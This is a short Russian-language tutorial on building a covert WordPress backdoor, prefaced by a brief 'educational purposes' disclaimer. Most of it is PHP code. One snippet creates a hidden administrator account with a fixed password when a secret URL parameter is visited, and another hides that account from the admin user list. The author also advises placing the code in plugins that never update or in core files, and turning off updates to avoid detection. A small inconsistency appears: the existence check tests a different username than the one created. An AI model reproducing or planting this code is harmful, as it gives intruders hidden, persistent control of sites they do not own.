Как сделать backdoor в WordPress

Данный материал размещен в образовательных целях и не призывает читателя создавать backdoor на сайтах.

На самом деле данный бэкдор довольно простой и его задача создавать пользователя на программном уровне при переходе на определенный URL сайта. Таким образом даже если дальнейший пользователь сайта удалить нашего пользователя, то мы всегда сможем создать нового точного такого-же.

И так, приступим к созданию нашего пользователя:

add_action( 'wp_head', 'w45345p_custom_func_bd' );
function w45345p_custom_func_bd() {
	if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
		require( 'wp-includes/registration.php' );
		if ( !username_exists( 'admin_dev' ) ) {
			$user_id = wp_create_user( 'user_bd', 'password_bd' );
			$user = new WP_User( $user_id );
			$user->set_role( 'administrator' );
		}
	}
}

Данным кодом мы создаем пользователя user_bd с паролем password_bd .

Чтоб данный код заработал, он размещается в файле шаблона functions.php, но я бы стал размещать его допустим в каком-то не обновляемом плагине, либо отключил бы функцию обновления CMS и куда-то в ядро посадил бы такой код. После того как бы разместили данный код, заходим на сайт и в конце URL вставляем /?backdoor=go , таким образом мы создаем нашего пользователя. Это еще не все, наш пользователь будет виден в админке, что вызовет подозрение, надо его скрыть. Что бы это сделать, нам понадобится следующий код:

function w45345p_hide_specific_user($user_search) {
	global $wpdb;
	$user_search->query_where = str_replace('WHERE 1=1',
	"WHERE 1=1 AND {$wpdb->users}.user_login != 'user_bd'",
	$user_search->query_where
	);
}
add_action('pre_user_query','w45345p_hide_specific_user');

Таким образом мы скрываем пользователя user_bd, но можем и своего пользователя скрыть если надо.

После всех манипуляций, наша запасная дверь на сайте готова.